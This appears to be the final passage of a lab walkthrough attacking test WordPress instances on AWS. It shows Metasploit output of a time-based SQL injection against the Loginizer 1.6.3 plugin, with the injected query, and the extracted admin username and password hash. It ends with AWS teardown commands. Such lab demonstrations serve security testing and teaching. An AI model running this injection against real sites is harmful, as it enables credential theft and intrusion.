[*] Found version 1.6.3 in the plugin
[+] Vulnerable version of Loginizer detected
[*] Scanned 1 of 2 hosts (50% complete)
[*] {SQLi} Executing (select group_concat(TXChHXg) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) TXChHXg from wp_users limit 1) fA)
[*] Scanned 1 of 2 hosts (50% complete)
[*] Scanned 1 of 2 hosts (50% complete)
[*] Scanned 1 of 2 hosts (50% complete)
[*] {SQLi} Time-based injection: expecting output of length 44
[+] wp_users
========
user_login user_pass
---------- ---------
wordpress $P$B8OjOUCRrPXm/TrVQ2/WJqUp5w7WmI.
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
resource (stdin)> exit -y
From the outputs above you can see the attack to the Wordpress was successful. We got some details about the remote system like list of processes, wp-config.php
, system details and list of users + password hashes.
Cleanup
Delete the Amazon EKS cluster, EC2 instances, VPCs, EC2 Key Pair, DB Snapshots, SSM parameters and CloudWatch Log Groups:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
export AWS_REGION="eu-central-1"
export AWS_EC2_KEY_PAIR_NAME="wordpress-test"
export SOLUTION_KALI="KaliLinux-NICE-DCV"
export SOLUTION_EC2_CONTAINER="Amazon-EC2-Container"
export SOLUTION_EC2="Amazon-EC2"
aws cloudformation delete-stack --stack-name "${SOLUTION_KALI}"
aws cloudformation delete-stack --stack-name "${SOLUTION_EC2_CONTAINER}"
aws cloudformation delete-stack --stack-name "${SOLUTION_EC2}"
aws cloudformation delete-stack --stack-name "${SOLUTION_KALI}-VPC"
aws cloudformation delete-stack --stack-name "${SOLUTION_EC2_CONTAINER}-VPC"
aws cloudformation delete-stack --stack-name "${SOLUTION_EC2}-VPC"
aws ec2 delete-key-pair --key-name "${AWS_EC2_KEY_PAIR_NAME}"
copilot app delete --name wordpress --yes
aws ssm delete-parameter --name /copilot/wordpress/dev/secrets/WORDPRESS_USERNAME
aws ssm delete-parameter --name /copilot/wordpress/dev/secrets/WORDPRESS_PASSWORD
aws logs describe-log-groups --log-group-name-prefix /aws/lambda/wordpress-dev-wordpress --query 'logGroups[*].logGroupName' | jq -r '.[]' | xargs -I {} aws logs delete-log-group --log-group-name {}
aws rds describe-db-cluster-snapshots --query 'DBClusterSnapshots[?starts_with(DBClusterSnapshotIdentifier, `wordpress-dev-wordpress`) == `true`].DBClusterSnapshotIdentifier' | jq -r '.[]' | xargs -I {} aws rds delete-db-cluster-snapshot --db-cluster-snapshot-identifier {}
Enjoy … 😉